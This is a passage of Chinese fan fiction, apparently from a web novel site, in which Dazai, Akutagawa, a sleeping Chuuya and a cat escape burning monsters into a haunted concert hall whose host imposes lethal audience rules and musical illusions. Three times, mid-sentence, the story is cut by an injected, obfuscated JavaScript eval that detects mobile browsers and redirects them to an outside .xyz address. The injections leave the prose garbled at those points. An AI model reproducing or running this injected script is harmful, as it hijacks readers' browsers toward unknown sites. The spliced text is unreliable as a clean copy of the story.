城墙、街道上是大片大片烟熏火燎的痕迹，地面上是随处可见的焦炭与黑色油污； …… 芥川觉察到周遭的不同寻常，停下自己敲钟的动作。回头之时，太宰治早已是背对的状态。 此时此刻，整个赫尔城如同一张彻底破碎的画作，露出了底下狰狞与破败。 但这样的世界里，这样的赫尔城中，“不真实”的虚假感却消失得彻彻底底。 就像是，这里原本就该是这样。 空气无端变得滚烫而污浊，充斥着浓烈到令人作呕的焦糊味。 某种肉、木块、或是其他什么东西燃烧的恶臭挥散不去，腐朽气息仿佛要将整个赫尔城带入坟墓。 顺着太宰治的目光而去，街道上，那些原本“忙碌”的赫尔城“居民”们，在迷雾散去后或是在钟声的震荡下凭空碎开，或是在剧烈扭曲、变形。 这些“赫尔城城民”的动作骤然凝滞僵硬，维持着钟声响起前的姿势，身体却如同被投入烈火的蜡像，快速地融碳化，最终变成一具具姿势各异的焦黑人形雕塑。 钟声的余韵之中，他们似乎还残留着一点“行动”的本能，身体被烧得焦黑蜷缩，四肢如同枯枝，却依旧在冒着零星火星的废墟中蹒跚移动，拖拽着身后焦炭般的残肢，发出“咔嚓咔嚓”令人牙酸的摩擦声。 他们空洞的眼窝对着虚空，当钟声停止，这些“人”茫然地扫视着周围，偶尔那模糊开裂，露出焦黄牙齿的黑色口中会溢出不成调的呜咽声，宛如破碎的风响。 近在咫尺的城中心，那座被银甲守卫拱卫的，象征着“神明光辉”的城堡，此刻更是触目惊心。 高大的城墙之上布满了爆炸和撞击的裂痕，部分墙体甚至已经坍塌，露出内部同样焦黑的结构。 原本银光闪闪的圆顶尖塔变得乌黑扭曲，原本饱满的尖顶不知所踪，只留下断裂的、如同野兽獠牙般的残桩。 城堡大门依旧紧闭着，但那扇描绘着神圣图案的巨门如今只剩下焦黑的轮廓，上面的花纹早已熔毁变形，好似一张扭曲怪诞的鬼脸。 那些守卫在城堡四方城门和城墙上的“守卫”们依旧是银色盔甲，看不清具体的状态。 他们的头盔面罩将佩戴者的面容彻底封死在内部。 但他们依旧保持着“守卫”的姿态，或是僵硬地伫立在原地，或是持着同样刀剑，维持着巡逻的姿势。 但银色的盔甲再也没有在他们的行动中发出声响，就好像他们身体中原本存在的空隙都已经消失不见。 在钟声的尾声里，守卫们的头颅，仿佛受到某种统一的指令，缓慢而滞涩地转动向钟塔的方向。 最终，数百道无形的、充满死寂恶意的“视线”，齐刷刷地聚焦在了钟塔下的太宰治一行人的身上。 “真是热情的‘欢迎仪式’呀。”太宰治轻嗤一声，语气依旧带着惯有的调侃，但背脊却瞬间绷紧。 他敏锐地捕捉到了空气中弥漫开来的，如同实质般的恶意。 “看来我们的‘新朋友’们不太欢迎他们的客人呢。” “芥川，跑。” 话音未落，太宰治与芥川迅速朝着明显更空旷的街道奔去。 在奔跑的同时，太宰治还没忘了阴太宰猫猫一手，剧烈波动将假寐还没判断形式的猫儿向后颠落下去。 浑身炸毛的太宰猫猫原本打算在半空中调整身形追上给太宰治几爪子，却将将被身后的芥川捞住，放上肩头。 城墙边上那些盔甲守卫，以及街道上那些还能蹒跚移动的焦尸，如同被按下了启动开关无端地朝着钟塔方向，以一种与其僵硬外表不符的，带着疯狂执念的速度，汹涌扑来。 它们踏过燃烧的余烬，踩碎地面焦黑的尘土，带起漫天飞灰，如同地狱之门洞开后涌出的黑色潮水。 太宰治背着中也，行动却丝毫不显滞重。 他如同一道黑色的幽灵，瞬间朝着与城中心城堡相反的方向疾掠而去。 芥川紧随其后，罗生门在他身周无声游弋，随时准备应对可能从侧面袭来的攻击。 他们沿着破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962307|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败的街道狂奔，脚下是滚烫的灰烬和碎裂的瓦砾。 两侧的焦黑房屋如同沉默的墓碑，黑洞洞的窗口仿佛随时会伸出焦枯的手臂。 焦糊味浓得化不开，每一次呼吸都像吸入滚烫的沙砾。 身后的“人”形怪物们穷追不舍，他们经过的路程越多，新加入的怪物数目就愈多。 到最后，太宰一行人身后的怪物军团阵容几乎到了一个令人头皮发麻的程度。 焦尸的呜咽声与令人窒息的死寂恶意如同跗骨之蛆。 体力总归会告竭。 就在他们即将被后方潮水淹没之际，太宰突然拐弯，推门进入一栋相对完好的建筑中。 芥川也跟着拐进去。 这是一栋和他们一路奔波之上遇到的，截然不同的建筑。 建筑的外墙上，烟熏火燎的痕迹并不明显。 它有着巨大的拱形门廊，门楣上方悬挂着一块被熏得半黑的牌匾，上面用花体字勉强可辨：“安吉尔乐堂”。 “砰——” 随着三人一猫跨过乐堂大门的刹那，那扇雕刻着模糊天使图案的沉重黑门仿佛被一只无形巨手猛地拽动，轰然关闭。 巨响之后，乐堂门栓在没有人拨动的情况下自动落下，发出细小的“咔嚓”声。 门外，汹涌的死寂与恶意被彻底隔绝；门内，太宰等人瞬间陷入一片昏暗。 只有门缝和破窗透入的微弱天光，勾勒出安吉尔乐堂的模糊轮廓。 空气冰冷而滞重，弥漫着灰尘和若有若无的血腥的铁锈气。 芥川微微屈身，剧烈地喘息着。 他肺部火烧火燎，却没忘了警惕地环顾四周。 罗生门如同警戒的毒蛇，将三人一猫圈在一个相对安全的环境中。 太宰治也微微喘着气，背上的中也依旧沉睡，仿佛外界的天翻地覆与他毫无关系。 即便在方才这样危险的情况下，太宰治也未曾磕碰到中也分毫。 太宰猫猫从芥川的肩上跳下，落地无声，警惕地竖起耳朵。 尽管光线并不明显，但足以猫儿看清周遭的情况。 这是一座明显废弃的乐堂，正前方是木制的，铸成的舞台。 古老破旧的乐器被镶嵌与墙上、地面，断裂的帷幕脱落在地面。 舞台的边上，是无数能够放置光源的灯火架，而自舞台向外蔓延，是一个分多层的，庞大的观赏席。 闯入的太宰等人，正正在观赏席中部的入口处。 整个乐堂空无一人，却并不妨碍太宰猫猫对此保持警惕。 在猫猫宰试探的引导下，三人一猫摸索着向乐堂后部走去。 不过几步路程，身后骤生异变。 三人一猫的动作瞬间凝滞在原地，旋即收缩成一个相对对外的警戒姿势。 “砰、砰、砰、砰、砰……” 乐堂正前方，舞台边上，一盏接着一盏的蜡烛突然凭空出现在烛台夹上，自动点燃。 橘黄色的火苗跳跃着，驱散了舞台区域的黑暗，将舞台中央照得一片通明。 与此同时，那是一个巨大的破旧舞台显露出真实面貌。 依稀还能看出舞台上曾经铺就过巨大的地毯，但那地毯已经明显损毁，暗红色凝结的绒毛在边角处随处可见，根本看不清原本的面貌。 舞台的正后方是描绘着天堂景象巨大的壁画背景板，但画面上的神明面容扭曲，翅膀断裂。 臆想中的圣光被涂抹成污浊的暗红，如同干涸的血迹。 沿着舞台的侧面，边缘越来越多的灯火架依次自亮，随之而来的更令人心悸的变化。 空旷的观众席也随着蔓延的烛光被照亮。 当最后一盏烛火被点燃，乐堂天花板上，七个金属的巨大灯火架将整个安吉尔乐堂照得明晃晃。 而随之而来的，是难以预测的变化。 原本破旧不堪的安吉尔乐堂仿佛被重新装潢过一般，损毁的地毯恢复鲜红色的华丽色彩，金色的灯火架、华丽的乐器重现光彩，银白色的大堂显得圣洁而不可侵犯。 而后，那些原本空无一人的、蒙着厚厚灰尘的绒布座椅上，伴随着一阵细微的，如同灰尘簌簌落下的声音，瞬间“坐满”了“人”。 无数道隐藏在漆黑斗篷后的身影凭空出现，密密麻麻地填满了视野所及的每一个座位。 他们姿态各异，有的低头垂手，有的仰面朝天，但无一例外，都呈现着一个观众等待演出开始的激动与热情。 芥川轻轻抽了一口气，突如其来的状况令他寒意从脚底直冲天灵盖。 尽管这些突然出现的观众并未像那些“赫尔城街道怪物”那样充斥着焦糊味，但倘若这些东西和那些怪物如出一辙，他们无疑是将自己主动送上门。 “真是盛大的‘满座’，看来这座乐堂以前应该十分受欢迎。”太宰治的声音在死寂中响起。 他看起来漫不经心，眼神却锐利如刀，在状况发生之初便迅速扫视完毕这片被“斗篷观众”填满的热闹剧场。 这里看起来太过正常，但在一个不正常的遗迹之中，这份正常便透露着致命的恐怖。 太宰治仔细盘算着离开的可能性，但短短数秒，乐堂观众席上的烛火便悉数灭掉，舞台被光芒笼罩，显而易见地营造出一个绝对的视线焦点。 而观众席上地这些“人”几乎在同一时刻，将自己的关注点投向了舞台。 “一个温馨的小建议，各位客人，不如先找个合适的位置坐下，欣赏这出剧目。” 一道温和轻盈的声音在不远处响起。 就在他们前方几步远，靠近过道的位置上，一个原本被忽视的位置突然发出和这个乐堂格格不入的声音。 那是一个极为优雅的女人。 与周围那些穿着严严实实斗篷的“观众”截然不同。 这个女人穿着华丽典雅，橙白色繁复的贴身长裙做工精细，不似凡物。 她的裙摆如同盛开的花瓣铺散在座椅上。 女人有着一头浓密，如同燃烧火焰般的橘红色长发，精心挽成一个高耸的发髻，上面点缀着几朵鲜艳的百合花。 她看起来温柔而笃定，遮住半边脸的刘海为她更添了一份神秘。 女人依靠在座位上，单手撑住下巴，勾勒出一个完美的微笑。 最引人注目的是她的眼睛——那只未被刘海遮住的橙色眼眸，看起来圣洁而深邃。 女人微笑着，目光精准地落在背着中也的太宰治身上。 她的声调轻柔，好似悠扬的乐器：“如果先生们足够机智，就应当在即将开始的演出前，尽快入座。” “由衷建议。” 女人洁白而细腻的手指优雅地指向自己身边——那里，恰好有四个连在一起的空座位。 28. 神明遗迹（二十四） 橙发女人的举手投足间满是端庄，礼数周到。 她身边的四个座位，在三人一猫的注视下，几乎是最好的座位。 在太宰治略显犹疑的片刻，女人主动起身，向内挪移了四个位置，这下，恰巧剩余了靠外侧通道的三个座位了。 微微挡了芥川一手，太宰治背着中也主动坐在靠内的位置，将昏睡的中也妥善地放置在正中的座位上，芥川则抱着太宰猫猫坐到了最外侧。 沉睡的青年靠着椅背，面容甜美而平和。因为太宰治一路付出的十二分小心，橘发青年并未受到半点波及，双颊甚至微微泛粉。 芥川入座之时，太宰猫猫轻盈地跃上座椅之间的扶手上，优雅地踱步下去，蹲踞在中也手边，尾巴不安地扫动。 这是一个不再有争议的坐法，太宰治平静地看向舞台。 “叮咚——” 随着舞台上发出的一声铃音，一股无形的力量突然出现在周围，瞬间将太宰三人压制在绸绒座椅上不得动弹。 “真是惊喜。”太宰冷笑。 他意外地发现，在这股力量的压制下，自己完全失去了对身体的控制权。 四肢被完全绑定在座椅之上，双手放置在膝盖上，后背笔直，不可靠于后背，仅仅只有眼睛能勉强保持着“看”舞台的动作。 座位上的“观众”仿佛被禁锢在躯壳里的训练有素的士兵，来到安吉尔乐堂，只能用一副极其累人的固定姿势被动地“看”和“听”。 余光中，太宰、芥川无一例外中招，只有蹲在中也手边的太宰猫猫似乎不受影响。 只是，小黑猫全身的毛已悉数炸开。 它死死盯着舞台方向，喉咙里滚动着压抑的咕噜声。。 三人中，似乎只有中也没有受此影响，还保持着太宰安置的姿势舒适而自由地沉睡着。 太宰治冷静地用余光打量一旁的女人，这个视角下，女人似乎也是正襟危坐的模样。 但她显然没有什么慌张的情绪，甚至还有空询问一句：“中间的孩子睡得舒服么。” 太宰治稍加沉默，在女人略显期盼的声音中缓缓答复：“应该还行，睡美人睡了有一段时间，暂时还不想醒。” 在得到这样的答复后，女人显而易见地陷入思索，没再试图和太宰治搭话。 在两人的交流间，舞台上的烛火猛地窜高，光线变得更加明亮刺眼。 一个身影突兀地出现在舞台中央的聚光灯下。 那是一个穿着极其夸张，浑身缀满亮片和焦黑羽毛的礼服，脸上涂抹着厚厚的，干白粉的人。 在礼堂的舞台之上，他嘴角咧开，努力地扬起一个巨大的笑容。 “晚上好，各位女士先生。我是今天安吉尔乐堂演出的主持及负责人，你们可以叫我——嗯，安吉尔！” 安吉尔的身体比例极其怪异，四肢细长如竹竿，身形瘦长。 在舞台之上，他用极尽夸张的声调进行一场开幕演说：“你们不用记得我的名字，毕竟每一个负责人都叫做安吉尔——欢迎你们来到安吉尔乐堂，今日的演出主题叫做‘安魂曲的盛大终幕’！” 安吉尔夸张地转了个圈，细长的手臂挥舞着，自认为完美地说了一个还不错的冷笑话。 只是没人为他欢呼鼓掌，他成为舞台上唯一的捧哏。 但安吉尔并不在意。 他随即指向台下密密麻麻的观众身影，细长的手指几个循环往复，最终指向太宰治他们这一排。 “瞧瞧，这是什么？我们安吉尔乐堂今日的演出竟然迎来了新的观众！” 这一次，安吉尔话音落下，观众席上的斗篷观众们不约而同向安吉尔所指的方向转头。 无数双眼睛不由分说投向太宰一行人，斗篷之下，他们的目光显得炽热至极。 “好吧好吧，朋友们真是太热情了，看起来已经迫不及待想要等待演出开始了。”安吉尔对眼下观众席上发生的一切显然十分满意。 但他故作苦恼地环保胸前，单手撑住额头，微微叹息，但音调里的兴奋与疯狂已经显得迫不及待：“哎呀，可是为了我们的新观众，安吉尔还是不得不做出一个习惯性的乐堂规则介绍——” 话音落下，观众席上显著的弥漫开一股名为遗憾的情绪，但舞台上笑容如初的安吉尔却并未对此有过多评价。 他自顾自地继续向下道：“在接下来帷幕降下升起后，安吉尔乐堂规则开始生效——” “规则一——”安吉尔竖起一根细长得过分的手指，指甲漆黑尖锐：“请各位亲爱的观众们一旦入座后就保持坐定，直到每一个表演的最后一个音符消逝于永恒的寂静!” 安吉尔的声音在之后陡然变得阴森恐怖：“我们严格禁止移动，毕竟敏感的乐手总认为这破坏了和谐。” 他的表情在阴森语气还没切换的情况下就已经转到无奈上，耷拉着眉眼，看起来无辜至极：“哎呀，瞧瞧我们的新观众们，他们看起来很紧张呢——” “不会是被我精湛的演技吓到了吧？哎呀，安吉尔乐堂，总要有些戏剧的演出——” “亲爱的新观众，一定不要害怕呀。” 安吉尔的面容和语调几乎能在短短数秒之间随着他的话更改无数次，因为他很快，就从一副阴暗沮丧的模样变为夸张的狂喜：“规则二——” 安吉尔竖起第二根手指：“亲爱的观众们，请您的眼睛时刻盯着舞台，去见证这美丽，这悲剧，这真相！” “闭上眼睛是对表演者和指挥大师最大的侮辱！” 安吉尔的神情充斥着夸张的不屑。 “规则三！”安吉尔竖起第三根手指，同时用另一只手扫过台下观众，带着显而易见的威胁。 “如果表演打动你，请按下你们座椅右手边的红色按键，如果不喜欢这个表演，请按下你们座椅右手边的蓝色按键!” 安吉尔顿了顿，声音滑腻如毒蛇，带着一丝显而易见的幸灾乐祸：“安吉尔乐团的演出，充满竞技性和对抗性!当演出获得半数以上的红色评价，乐团大受好评，按下蓝色按键的观众们则需要付出这场演出等值的代价；” “当演出获得半数以上的蓝色评价，乐团糟糕透顶，红色按键观众则需要支付蓝色按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962308|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键观众一份代价，价值额度由该次乐团抽取！” “我们大力支持各位用一切进行代价抵押，许可银币，朋友，家庭，或者你的一切——” “直至所有的乐曲演奏结束，没有人可以提前离场!” “每场乐曲演出间隔15分，为了防止中场太过无聊，每两场乐曲间隔之中，我们会开启最让大家喜欢的环节——抽取两位位幸运儿观众，进行‘交易’与‘背叛’游戏。” “两位幸运儿在游戏前需要写出自己的底牌赌注，同时选择‘交易’，则需要上交赌注的10倍与乐团，并交换各自的赌注；同时选择‘背叛’，则需要上交赌注的10倍与乐团，并失去生命；一方‘背叛’，一方‘交易’，则双方均获得赌注与来自乐团的10倍赌注，赌注金额小方失去生命!” “是不是很精彩呢？安吉尔已经迫不及待今天的演出了——” 安吉尔双颧潮红，仿佛陷入遐想与场景之中，已经见证了一场交易与背叛游戏的胜负。 他猛地张开双臂，如同拥抱虚空，“本场乐堂演出为‘安魂曲的盛大终幕’，共有8场音乐演出！现在，就让我们的安魂曲开始演奏！” 随着安吉尔最后一个音节如同断弦般落下，他夸张地背手，单腿后撤一步，另一只手在虚空中划了两个漂亮的圈后，于身前行了一个致谢的礼仪。 舞台最前方，那两块巨大的深金色帷幕，在绞索的拉动下，缓缓闭拢，将安吉尔的身影整个掩盖消失。 随着安吉尔的话音结束，帷幕落下，太宰治短暂地获得了范围内的行动能力。 借着昏暗的光，太宰治趁此机会低头查验了自己与中也的座椅右手边的扶手，于它的表面的隐藏翻盖下找到了那两个安吉尔口中的“红蓝按键”。 这按键的统计原理究竟如何，无人得知，但在这异变的赫尔城当中，无论怎样的情况都似乎情有可原。 随着乐堂舞台的帷幕被重新拉开，太宰治短暂获得的行动能力又重新被封禁。 他被迫仰起头，观看前方的舞台情况。 正前方的烛火愈发明亮，一切都目光都聚焦在舞台中央。 舞台正中，原本的大型乐器边都坐上了操控它的乐手，依照队形四周是各自持拿小型乐器的乐手，只有正中央，站立着指挥家。 这些乐手，乃至最正中的指挥家都看不清模样，烛火之下，显得诡异而空洞。 伴随着风琴的第一声曲调，演出，开始了。 在方才短暂的活动中，太宰治再次和猫猫宰进行交流，而属于中也的两个按键，则由小黑猫进行操控。 异变的“安吉尔乐堂”中，太宰治、芥川龙之介，连同沉睡的中原中也因迫不得已闯入，而坐在观众席上，被迫成为了这场名为“安吉尔安魂曲”的诡异恐怖剧目的观众。 禁锢的力量来得莫名，在安吉尔公布乐堂规则之前就锁死了他们的一切动作。 但这力量，在依照目前的形式来看，却似乎并不属于这个乐堂。 太宰治思索着，从善如流地看着舞台，等待着即将呈现的“安魂曲终幕”。 29. 神明遗迹（二十六） 风琴的音符如同无形的触手，轻柔却不容抗拒地缠绕上每一位观众的双耳。 随着曲调袭来，太宰治眼前的世界骤然扭曲。 被牢牢固定住的四肢仿佛被松解开来，乐堂座椅的触感消失，取而代之的是一种平静长久的安宁。 太宰治站在一片纯白的沙滩上。 脚下是细腻的白沙，在毫无温度的阳光照射下，没有一丁点儿杂质； 天空是均匀的湛蓝，透彻纯净，没有一丝一毫云彩； 碧绿的海水平静无波，像一块凝固的巨大祖母绿宝石； 空气里弥漫着甜腻的花香，没有风声，没有潮汐声，只有轻柔的音乐在耳边巡回、流淌。 不远处，一座卡其色的木屋矗立着，屋子边是一架正在滚动着的巨大风车。 屋边轻烟缭绕，几只毛茸茸，色泽不一的兔子在屋子边的沙砾地上追逐嬉戏。 太宰治伸出手，在这样的阳光下张开五指。 出乎意料的，阳光并没能透过指缝。 即便地面的旅人在试图用这样的方式直面太阳的威严，也没有用强烈的反击令起无法看清太阳的面貌。 太宰看着那只苍白到几近失去血色的手，绷带一丝不苟地密密缠绕在腕间。 他穿着一身熟悉而陌生的黑色长袍，在海边长久地站立着。 在悠长而宁静的音乐声中，一切都舒适得过分。 万物完美无缺，这里就像书本中描绘出的天堂。 太宰治眯着眼，唇边扯开一抹讥讽的笑。 他收回手，俯身拾起一把沙砾，洁白的颗粒轻飘飘的，没有分毫重量。 太宰治轻轻松开手，那一把沙就这样迅速地从他的指缝流逝了。 翠色的大海边，应当有的咸腥气味消失不见。太宰治缓缓靠近平静无波的海面。 他原本应当为这样天然适应的“安息地”而充满喜悦，但当太宰治走近海水时，却不过从沙砾地走向另一处坚实的“海水地”。 宛如宝石的海洋深处，似乎有什么奇异而模糊的图案。 真是太可惜了。 太宰治为这样的发现感到遗憾。 在这虚假的平和世界之中，在持续奏响的音乐声中，乐堂似乎有意塑造出一个完美的安息地。 但无法触及的“海洋”，毫无重量的沙砾，乃至一旁用相同速度持续向同一个方向只转动一半又回归原点反复的风车和地面以相同方式“嬉闹”的兔子都无意不在诉说着这个世界的虚假。 这虚假的平和像一层浮夸的糖衣，诱惑者听曲人沉溺，却令人在触摸到世界现实时，根本无法与之触动分毫。 这是一场被精心粉饰的骗局。 太宰治站在原地，鸢色的眼眸平静无波。 【音乐响起之时，每名观众需要用眼睛时刻盯着舞台去见证——】 在这样的规则之下，即便很快意识到这场拙劣的，宛如闹剧般的小把戏，太宰治也不得不在这里呆下去。 事实上，当太宰治很快意识到这个世界的虚假之后，周遭的一切就开始迅速褪色。 但他懒得去寻找这个幻境的“出口”，在这个浮夸的乐团里，用音乐编织的世界，究竟是否存在着所谓的“出口”都还有待商榷。 太宰治就这样，在这个没有时间流动的世界之中平静地等待着毫无波澜地音乐曲调在某一个节点陡然拔高，如同一个突兀的休止符，戛然而止。 眼前褪色得差不多的世界瞬间崩解，兔子、木屋、风车、沙滩，而后是一望无际，却又有明显终结线的海水。 一切的一切如同被冲刷殆尽的图画，消失得无影无踪。 强烈的扭曲感再度袭来，太宰治猛地眨了下眼，视野重新聚焦在安吉尔乐堂那华丽的舞台之上。 随着乐曲结束，舞台上的表演者做下一个规整的谢幕礼，帷幕缓缓拉上。 身体被禁锢的感知依旧存在。 不远处的观众席上，零星有两个已不在原位上的观众突兀地燃烧起来，发出凄厉的哀嚎。 他们似乎是因没能分清楚方才的世界而破坏了安吉尔的规则。 显而易见，这样莫名的自燃就是规则的惩罚。 但在方才乐曲奏响的那一段时间之中，太宰治根本没能在乐堂之中挪动分毫。 依照安吉尔的规则，他原本也不应当在乐曲奏响的时间内有半点移动。 但倘若人们真的沉溺于乐曲描述的世界之中，是否真的会在音乐还未结束之前就用“移动”去破坏规则？ 答案是肯定的。 人们总是很难通过善于融入、习惯的感官去分辨什么时候该停下拙劣的动作。 出现在他们身上的，使得太宰一行人无法动作的禁锢，就好像是乐堂之中的完美作弊器。 芥川龙之介的面色同样平静。 他当然也看见了发生在乐堂角落的“案件”。 空气中无端弥漫上熟悉的，肉质燃烧后的焦糊气味。 当那些燃烧着的“观众”熄灭之后，乐堂过道之中又凭空出现了几道披着斗篷，僵硬行动的身影。 这些新出现的“身影”缓慢而滞涩地行动着，直至走到空缺的观众席上，坐到刚刚腾出的空位上，用同样热切的的姿态期待着下一场乐曲演奏的开始。 这样的场景令芥川产生警惕。 蹲踞在中也手边的太宰猫猫同样共享到太宰治的记忆，喉咙里发出低沉的，具有威胁性的咕噜声，鸢色的竖瞳警惕地环顾四周。 在短暂的沉默之中，太宰治身边的橘发女人轻轻地按下右手边的蓝色按键，随后轻笑着转头：“劳驾，这位先生，不知道你身旁孩子的选择按键应该由谁操控呢？” 女人出声的刹那，太宰一行人身上的禁锢旋即消失了。 女人的声音不大，却刚刚好能令座位旁的两人一猫听清楚。 太宰治不动声色地瞥了女人一眼，礼貌而疏离：“不劳费心。” 太宰与芥川毫不犹豫地按下了座椅右手扶手下隐藏的蓝色按键，而中也的座位边，黑猫宰在同样的时间中做下相同的事。 冰冷的触感从指尖传来。 “真是相当聪明的小猫呢。”女人用手轻轻遮掩自己的下半脸，动作优雅。 她似乎总是带着令人充满亲和感的笑意，不论身旁人究竟用怎样的方式去回应，永远包容——就像是浩瀚的海洋。 这是一种失去掌控的感觉。 太宰治轻轻捻了捻手指，对身旁女人的戒意与危险感逐步攀升。 整个乐堂陷入一片死寂，只有舞台上的烛火发出轻微的“噼啪”声。 而后，是突然响起的安吉尔滑腻的声音。 舞台上的帷幕并未拉开，四周也并没有安吉尔的身影。 但他的声音却统一、均匀地响在每个人的耳畔：“哎呀呀，看来我们的观众们品味独特，对开幕序曲不甚满意呢——真是遗憾！” “让我瞧瞧，竟然有这么多蓝色！不过没关系，规则就是规则，安吉尔乐堂一定会让不合格的曲目精进！让我们恭喜——蓝色占据多数！红色按键的朋友们，感谢你们的欣赏，接下来请为你们的‘欣赏’支付代价吧！” 话音刚落，观众席上零零散散的座位上，部分穿着漆黑斗篷的“观众”极尽惊恐地向一旁挪动——尽管他们最终也没能离开自己的座椅。 他们座位右手边的红色按键处，凭空渗出一股粘稠的暗红色液体，如同血液，迅速蔓延开来，很快浸透了斗篷的下摆和座椅的绒布。 没有惨叫，没有挣扎 那些身影剧烈地颤抖了一下，随即如同被抽干了所有生气，佝偻着身形坐在原地一动不动。 没人能看清斗篷下究竟发生了什么，只是一股混合着铁锈和腐朽的浅淡气味在乐堂中弥漫开来。 “哎呀，怎么还有可怜的观众连应支付的本金都拿不出来呀，真是遗憾。”安吉尔故作吃惊的语调持续响起，其间满含的恶意却不容忽视。 “原来是我忘记说啦！每场音乐都需要观众们支付基础的10枚许可银币的鉴赏费用！不过别担心，选择蓝色按键的观众们真是相当幸运，除开鉴赏费用，红色按键的观众们的代价已经分发到各位座椅上的钱袋中啦！” 与此同时，太宰治三人各自的座椅靠背与座位的夹角阴影里，无声无息地出现了一个小巧的深棕色皮制钱袋。 钱袋表面，清晰地烙印着那个他们在赫尔城中已见过多次，歪歪扭扭，象征着“秩序”的天平。 “还有意外惊喜。”太宰治摸出钱袋打开，笑意间带着一丝玩味。 芥川用罗生门将自己座位上的钱袋卷到眼前。 钱袋很轻，但里面明显装着东西。 芥川打开系绳，借着舞台边烛火架幽暗的光线，十枚拇指大小的银币静静地躺在里面。 银币一面是模糊的天平，一面是用繁复的古文刻印的“秩序”。 是熟悉的“许可银币”。 “十枚。”芥川低声道。 太宰猫猫用爪子扒拉出属于中也位置的那个钱袋，发出细微的叮当声。 黑猫宰嫌弃地用肉垫踩了两脚袋子，似乎对这东西不太感冒。 太宰治的目光落在沉睡的中也身上。 橘发青年依旧呼吸平稳，对周遭发生的一切毫无所觉。 太宰治眼神微动，从黑猫宰嫌弃的爪子下拎出那个钱袋，从自己的钱袋中摸索了一下，掏出所有的许可银币。 他动作极其隐蔽，指尖一弹，十枚银币悄无声息地滑入了属于中原中也的钱袋中，随后将中也的钱袋重新放回他的座椅后。 “太宰先生？”芥川注意到了他的动作，有些不解。 “凑起来看看。”太宰治嘴角勾起一个意义不明的弧度，将中也的钱袋重新放回原处。“积少成多，多放点‘本钱’，也许有惊喜呢。” 芥川若有所思，在一旁不说话了。 “哎呀，不知道各位观众是否对这份酬劳感到满意呢？”安吉尔夸张的笑声持续响起：“不过，我们下一场演出就要开始啦！” 安吉尔话音刚落，乐堂内的气氛骤然一变。 无形的禁锢力量再次出现，将太宰与芥川的身体牢牢固定在座位上，只是这次，这股力量的动作莫名温和许多。 “嚓嚓——”熟悉的声音再度响起，舞台中央的帷幕在绞索的运动下，缓缓被拉开。 这一次，出现在舞台上的乐手们多了几位，乐器的种类也更加丰富。 中央的指挥家依旧看不清面目，但他高举的指挥手势已蓄势待发。 随着琴键按动，第二首乐曲的前奏响起。 与开幕演出的轻柔安宁截然不同，这一次的旋律充满了跳跃感。 音乐节奏明快，带着欢愉。 小提琴的声音尖利而兴奋，鼓点密集如同雨点，管乐则吹奏出高亢的喜悦号角。 太宰治眼前的景象再次扭曲、变幻。 白光褪去，取而代之的是饱和度极高浓烈的色彩。 他置身于一个光怪陆离巨大的游乐场所。 马术场飞驰的高大马匹与其上张扬的骑手，室外炼金把戏闪烁着七彩霓虹，空气中弥漫着过度的甜腻香气，巨大的云朵像蓬松的棉花糖垂落在天上，仿佛触手可及。 周围是汹涌的人潮。 人们穿着鲜艳的奇装异服，脸上涂抹着夸张的油彩，笑容咧到耳根，发出毫无意义的震耳欲聋的欢呼和尖叫。 他们互相推搡着，追逐着，将彩色的纸屑、礼花抛向空中。 一只巨大的独角兽摇摇晃晃地走过来，将一把五彩的绸带碎塞到太宰治手里。 绸带的触感柔滑，如同某种生物的皮肤。 独角兽的眼睛如同画上去的两颗黑豆，始终僵硬地朝着同一方向，但太宰治能清楚地感知到，它在用眼睛“盯”着自己——带着令人毛骨悚然的“热切”。 “狂欢吧！朋友！这是最快乐的日子！”旁边一个戴着尖帽子的男人拍打着太宰治的肩膀，他的声音如同卡带的陈旧乐曲，失真而粗劣。 太宰治瞥见他拍着自己肩膀的细长的手指，缓缓后退一步。 这个世界比上一个“浮夸”太多。 触感、气味、声音……一切都强烈地刺激着感官。 随着奏响的音乐，那被极尽渲染，无处不在的欢愉情绪如同实质的浪潮，试图冲刷掉陷入其中人们的一切理智和冷静。 太宰治的眉头却微微蹙起，在这其间格格不入。 违和感无处不在。 乐曲舍弃掉第一个世界描画的，属于世界的真实，转而攻向人们感官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962309|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的真实。 马术场奔驰马匹的激烈踩踏声快得离谱，重复拍击在泥泞青草土地中的声响，沉闷至极。 那些马匹上骑手大笑着，无休止地随着马匹进行着“奔跑”的动作；炼金把戏中的霓虹总像蒙了层雾般令人看不真切；漂浮的云朵和天幕分割清晰，摇摇欲坠。 拥挤的人群在欢呼，但他们的眼神空洞，嘴角的笑容像是随手涂抹的线条。 